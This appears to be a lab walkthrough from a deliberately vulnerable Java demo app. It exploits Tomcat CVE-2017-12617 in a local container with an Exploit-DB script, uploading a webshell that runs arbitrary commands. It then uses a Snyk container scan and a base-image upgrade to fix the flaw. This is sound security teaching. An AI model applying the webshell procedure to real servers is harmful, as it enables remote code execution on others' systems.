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Docker base image vulnerability exploit

Prerequisites

  • Docker Desktop (Mac / Windows) or Docker-CE (Linux) installed
  • docker-compose installed
  • java-goof app running in container as per top level README instructions

Overview

The default base image tomcat:8.5.21 is vulnerable to RCE CVE-2017-12617 and an demonstration exploit, taken from Exploit-DB is available in the exploits directory.

Setting up the exploit

With the app running locally on 0.0.0.0:8080 set up as follows:

cd exploits
source tomcat-rce.sh   # Note: this will attempt to automatically grab your host IP and will echo it out, make sure it's correct for your OS

Checking if app server is vulnerable

Now you can run the check alias to see if the tomcat server is vulnerable. If it is you should see something similar to the following:

$ check
   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    

[@intx0x80]

Poc Filename  Poc.jsp
File Created ..
http://192.168.1.2:8080 it's Vulnerable to CVE-2017-12617
http://192.168.1.2:8080/Poc.jsp

If you point a browser at http://localhost:8080/Poc.jsp you should get a test page with a bunch of "A" char's - that shows the exploit worked.

Inject the exploit and run commands in the container from browser

Next, run the pwn alias and just hit ENTER at the shell prompt that comes up. (Ignore the error afterward)

$ pwn
   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    

[@intx0x80]

Uploading Webshell .....
$ 
Traceback (most recent call last):
  File "/exploit.py", line 188, in <module>
    shell(str(url),pwn)
  File "/exploit.py", line 98, in shell
    cmd=input("$ ")
  File "<string>", line 0
    
    ^
SyntaxError: unexpected EOF while parsing

Now open a browser to http://localhost:8080/pwn.jsp

You should see a blank page with a form containing single field and a Run button. Type any Linux command you want and submit the form. The results will populate the page.

Example 1: whoami whoami command

Example 2: dpkg -l debian package listing

Running a container scan

From the repo top-level directory, find the image tag for the goof app. If you built using docker-compose up --build then the image tag should be java-goof_javagoof:latest Run a scan with --app-vulns and dump the output to a file because it's going to be huge!

$ snyk container test java-goof_javagoof:latest --file=Dockerfile --app-vulns > snyk.out
\ Analyzing container dependencies for java-goof_javagoof:latest/Dockerfile
...

When complete, open the snyk.out file and search for SNYK-JAVA-ORGAPACHETOMCAT-451514

  Upgrade org.apache.tomcat:tomcat-util@8.5.21 to org.apache.tomcat:tomcat-util@8.5.51 to fix
  ✗ Arbitrary File Upload [High Severity][https://snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCAT-551994] in org.apache.tomcat:tomcat-util@8.5.21
    introduced by org.apache.tomcat:tomcat-util@8.5.21
  ✗ Denial of Service (DoS) [High Severity][https://snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCAT-451507] in org.apache.tomcat:tomcat-util@8.5.21
    introduced by org.apache.tomcat:tomcat-util@8.5.21
  ✗ Arbitrary Code Execution [High Severity][https://snyk.io/vuln/SNYK-JAVA-ORGAPACHETOMCAT-451514] in org.apache.tomcat:tomcat-util@8.5.21
    introduced by org.apache.tomcat:tomcat-util@8.5.21

Next, search the file for Recommendations

Tested 289 dependencies for known issues, found 594 issues.

Base Image     Vulnerabilities  Severity
tomcat:8.5.21  594              234 high, 173 medium, 187 low

Recommendations for base image upgrade:

Minor upgrades
Base Image     Vulnerabilities  Severity
tomcat:8.5.64  111              22 high, 12 medium, 77 low

Major upgrades
Base Image     Vulnerabilities  Severity
tomcat:10.0.0  130              36 high, 17 medium, 77 low

Alternative image types
Base Image                             Vulnerabilities  Severity
tomcat:8.5-jdk15-openjdk-oraclelinux7  0                0 high, 0 medium, 0 low
tomcat:10.0-jdk16-corretto             0                0 high, 0 medium, 0 low
tomcat:8.5-jdk8-corretto               0                0 high, 0 medium, 0 low
tomcat:10-jdk15-corretto               0                0 high, 0 medium, 0 low

Kill the running docker-comose process to shut down the app.

Edit the Dockerfile to use the "Major upgrade" recommendation, FROM tomcat:8.5.64 at the top of the final stage.

#FROM tomcat:8.5.21
FROM tomcat:8.5.64
RUN mkdir /tmp/extracted_files
COPY --chown=tomcat:tomcat web.xml /usr/local/tomcat/conf/web.xml
COPY --from=build /usr/src/goof/todolist-web-struts/target/todolist.war /usr/local/tomcat/webapps/todolist.war

Re-run docker-compose up --build

Re-run check alias and you should see that the app server is no longer vulnerable.

$ check
   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    

[@intx0x80]

Poc Filename  Poc.jsp
Not Vulnerable to CVE-2017-12617

You can alos show that http://localhost:8080/Poc.jsp did not inject the "AAAA" page